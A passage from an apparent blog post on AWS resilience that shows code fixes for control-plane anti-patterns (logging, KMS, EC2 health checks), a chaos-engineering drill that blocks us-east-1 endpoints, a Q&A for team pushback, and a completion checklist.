            logStreamName=request_id
        )
    except logs.exceptions.ResourceAlreadyExistsException:
        pass
    
    logs.put_log_events(
        logGroupName=’/aws/app/requests’,
        logStreamName=request_id,
        logEvents=[{’timestamp’: int(time.time() * 1000), ‘message’: data}]
    )

The Fix:

Write structured logs to stdout/stderr. Configure CloudWatch Agent or Fluent Bit as a sidecar to ship logs asynchronously.

# FIXED: Write to stdout, let agent handle shipping
import json
import sys

def log_request(request_id, data):
    # Write structured JSON to stdout
    log_entry = {
        ‘timestamp’: time.time(),
        ‘request_id’: request_id,
        ‘data’: data
    }
    print(json.dumps(log_entry), file=sys.stdout)

CloudWatch Agent config:

{
  “logs”: {
    “logs_collected”: {
      “files”: {
        “collect_list”: [{
          “file_path”: “/var/log/app/stdout.log”,
          “log_group_name”: “/aws/app/requests”,
          “log_stream_name”: “{instance_id}”
        }]
      }
    }
  }
}

If control plane is down, logs buffer locally. Your application keeps serving requests.

8. KMS DescribeKey in Encryption Hot Path

The Problem:

Checking key metadata before every encryption operation. DescribeKey is control plane, Encrypt is data plane.

# DANGEROUS: Checking key metadata before every encryption
def encrypt_data(plaintext):
    key_metadata = kms.describe_key(KeyId=’alias/my-key’)
    if key_metadata[’KeyMetadata’][’KeyState’] != ‘Enabled’:
        raise Exception(”Key not available”)
    
    return kms.encrypt(KeyId=’alias/my-key’, Plaintext=plaintext)

The Fix:

Call Encrypt directly. The data plane will tell you if the key is unavailable.

# FIXED: Call encrypt directly
def encrypt_data(plaintext):
    try:
        return kms.encrypt(KeyId=’alias/my-key’, Plaintext=plaintext)
    except ClientError as e:
        if e.response[’Error’][’Code’] == ‘DisabledException’:
            logger.error(”KMS key is disabled”)
        raise

Key principle: Don’t preemptively check status. Let data plane operations fail and handle errors gracefully.

9. EC2 DescribeInstances for Health Checks

The Problem:

Applications query EC2 API to verify their own instance health.

# DANGEROUS: Application checking if its own instances are healthy
def health_check():
    my_instance_id = requests.get(’http://169.254.169.254/latest/meta-data/instance-id’).text
    instance = ec2.describe_instances(InstanceIds=[my_instance_id])
    
    state = instance[’Reservations’][0][’Instances’][0][’State’][’Name’]
    return state == ‘running’

The Fix:

Health checks should verify application health, not infrastructure state. If your code is executing, your instance is running.

# FIXED: Check application health, not infrastructure state
def health_check():
    # Verify you can reach your dependencies
    try:
        # Check database connection
        db.execute(’SELECT 1’)
        
        # Check cache
        redis.ping()
        
        # Check you can process a request
        result = process_sample_request()
        
        return {’status’: ‘healthy’}
    except Exception as e:
        return {’status’: ‘unhealthy’, ‘error’: str(e)}

Your load balancer detects unhealthy instances when they stop responding. You don’t need to ask AWS if your instance exists—if your code is running, it exists.

How to Test This: Chaos Engineering

You need to verify your fixes work before the next real outage. Here’s how to simulate a us-east-1 control plane failure.

Network-Level Blocking (Most Realistic)

Block all us-east-1 control plane endpoints at the network level:

# Block us-east-1 control plane
sudo iptables -A OUTPUT -d *.us-east-1.amazonaws.com -j DROP

# Or be more surgical - block specific services
sudo iptables -A OUTPUT -d sts.us-east-1.amazonaws.com -j DROP
sudo iptables -A OUTPUT -d sts.amazonaws.com -j DROP
sudo iptables -A OUTPUT -d dynamodb.us-east-1.amazonaws.com -p tcp --dport 443 -j DROP

AWS Fault Injection Simulator (Managed Chaos)

# Create an experiment that blocks STS
aws fis create-experiment-template \
  --cli-input-json ‘{
    “description”: “Block STS control plane”,
    “actions”: {
      “blockSTS”: {
        “actionId”: “aws:network:disrupt-connectivity”,
        “parameters”: {
          “scope”: “all”,
          “duration”: “PT12H”
        },
        “targets”: {
          “Subnets”: “mySubnets”
        }
      }
    },
    “stopConditions”: [{
      “source”: “none”
    }],
    “roleArn”: “arn:aws:iam::123456789:role/FISRole”,
    “targets”: {
      “mySubnets”: {
        “resourceType”: “aws:ec2:subnet”,
        “selectionMode”: “ALL”
      }
    }
  }’

The Chaos Drill Protocol

Run this quarterly: (or annually if you’re strapped or scrappy.)

Hour 0:00 - Block all *.us-east-1.amazonaws.com at firewall
Hour 0:05 - Verify monitoring detects degraded control plane
Hour 0:15 - Confirm all services still serving requests
Hour 1:00 - Run load tests, verify throughput unchanged
Hour 2:00 - Attempt deployment (should fail gracefully)
Hour 4:00 - Check error logs for control plane call attempts
Hour 8:00 - Verify services still healthy
Hour 12:00 - Restore us-east-1 connectivity
Hour 12:15 - Verify graceful recovery
Hour 24:00 - Post-mortem: what broke?

Target KPIs:

• Time to detection: <5 minutes

• Customer-facing request success rate: >99.9%

• Revenue impact: $0

• Data loss: 0 transactions

• Services requiring manual intervention: 0

If you don’t hit these KPIs, you found more dependencies. Fix them and test again.
Or send an email around if you prefer CYA to hard work. (j/k, please fix.)

Preemptive Q&A: Handling Pushback

Your team will push back on these changes. Here’s how to win those arguments.

Q: Why is caching configuration for an hour or more acceptable? We need fresh data.

A: We need availability more than we need perfect freshness. Our application will survive an outage by using slightly stale config rather than failing globally because it blocked on a control plane call. Stale while refresh, while the refresh is taking a quick (or not so quick) coffee break. If a config change is critical enough to warrant a synchronous API call on every request, it should be baked into a new deployment, not fetched dynamically. Prioritize the data plane.

Q: The Parameter Store API is rated for high throughput. Why is it on the list?

A: High throughput doesn’t equal control plane independence. The API endpoints rely on internal AWS dependencies (KMS metadata for decryption, DynamoDB for advanced tier storage). When those underlying control plane dependencies fail, the high-throughput API fails too. The only way to guarantee resilience is to make the dependency local to your host, which means aggressive caching.

Q: Why can’t we just set a longer timeout and retry?

A: Timeouts and retries are useless against a prolonged control plane outage. You’re just burning compute cycles retrying an API call that’s guaranteed to fail for 6+ hours. The resilient solution is to remove the dependency entirely from the hot path by moving the operation to startup or an asynchronous thread. Retries are for transient data plane faults, not control plane collapse.

Q: Doesn’t the fix for EC2 health checks (removing DescribeInstances) risk missing real infrastructure failures?

A: No. If the instance fails, your process stops, and your load balancer health checks immediately detect the non-responsive port. You’re delegating infrastructure state management to the load balancer and Auto Scaling Group, which is exactly where it belongs. Your application’s job is only to confirm it can execute its business logic. The fix correctly eliminates the circular dependency on EC2 control plane.

Q: Our security team says 12-hour credentials violate our security policy. Isn’t this less secure than 15-minute tokens?

A: It’s true that short TTLs are widely regarded as security best practice. They’re also widely used as a substitute for doing the harder work of building robust security monitoring and defense-in-depth controls. Short TTLs are easy to implement (change a config value) and easy to audit (check a compliance box). But they can become a crutch that delays investment in controls that actually limit blast radius.

Industry standard security frameworks (NIST 800-53, CIS Controls, ISO 27001) prioritize:

1. Least privilege access controls

2. Continuous monitoring and anomaly detection

3. Network segmentation and isolation

4. Rapid incident response and revocation

Short TTLs reduce the exposure window if credentials are compromised. That’s real. But TTL is an implementation detail, not a foundational security control. Industry standard security frameworks (NIST 800-53, CIS Controls, ISO 27001) prioritize least privilege access controls, continuous monitoring and anomaly detection, network segmentation, and rapid incident response; notice what’s not in the top tier? TTL length. What actually matters when credentials are compromised: Can you detect abnormal usage? What can those credentials access? Can the attacker move laterally? How fast can you revoke them? With robust monitoring and least-privilege policies, you detect and revoke compromised credentials in minutes, whether their TTL is 15 minutes or 12 hours. Without those controls, 15-minute credentials still leave you vulnerable. Companies with 15-minute TTLs and weak monitoring get breached. Companies with 12-hour TTLs and strong monitoring don’t. TTL is a parameter, your security posture is the system. Implement the foundational controls first, then set TTL based on operational requirements.

Q: Our security team still won’t approve 12-hour credentials. What do we do?

A: Point them to Part 1’s ROI calculator. The alternative is accepting that your entire application fails within 15-60 minutes of a control plane outage, costing $X per hour in lost revenue. The security risk of longer-lived credentials is manageable (implement aggressive monitoring, automatic revocation on suspicious activity). The business risk of runtime control plane dependencies is existential. Make them choose between theoretical security risk and actual business risk. (Your CFO may need to referee.)

Success Criteria: You’re Done When...

Here’s your checklist. You’re not done until every item is checked:

✓ Credential Management

• [ ] All IAM roles set to 12-hour maximum session duration

• [ ] All services load credentials at startup, never refresh at runtime

• [ ] Chaos test passes: Services run 12+ hours with STS blocked

✓ Secrets & Configuration

• [ ] All secrets loaded at startup, cached for app lifetime

• [ ] All Parameter Store reads moved to startup with 1+ hour cache TTL

• [ ] Background refresh threads tolerate failures gracefully

✓ Service Discovery

• [ ] DNS-based service discovery implemented (no DescribeTasks at runtime)

• [ ] All service-to-service calls use DNS names, not IP lookups

✓ Infrastructure Queries

• [ ] Zero CloudFormation queries in Lambda runtime (use environment variables)

• [ ] Zero DescribeTable calls before DynamoDB operations

• [ ] Zero DescribeInstances calls in health checks

✓ Scaling & Monitoring

• [ ] Applications publish metrics, never call Auto Scaling APIs directly

• [ ] CloudWatch alarms configured for automated scaling

• [ ] Logging uses stdout/stderr, no CreateLogStream at runtime

✓ Encryption

• [ ] KMS Encrypt calls made directly, no DescribeKey checks

✓ Testing

• [ ] Chaos drill completed: Block us-east-1 for 12 hours

• [ ] All services continue serving requests

• [ ] Monitoring confirms zero control plane calls during drill

• [ ] Post-mortem documented any failures found

✓ Documentation

• [ ] Runbook updated with control plane failure response

• [ ] Team trained on new patterns

• [ ] Automated alerts configured for control plane health

Sleep Well

The companies that survived the October 20th outage had already eliminated these dependencies. The companies that didn’t spent 12 hours in war rooms explaining to customers why their beds wouldn’t flatten, why their payments wouldn’t process and why their water purifiers refused to dispense. And explaining to their boss why core services were down despite being “multi-region.”

You have the complete playbook now. Run the audit. Fix priority zero (the 60-minute death clock). Tackle the top 9 anti-patterns. Test it with chaos engineering. Document what you learned. The next us-east-1 outage is coming. Probably within the next 12 months, based on AWS’s track record. The only question is whether you’ll be one of the 3500+ companies scrambling in war rooms at 3AM, or one of the companies who got a good night’s sleep because nobody’s pager duty was going off.

Such sweet dreams.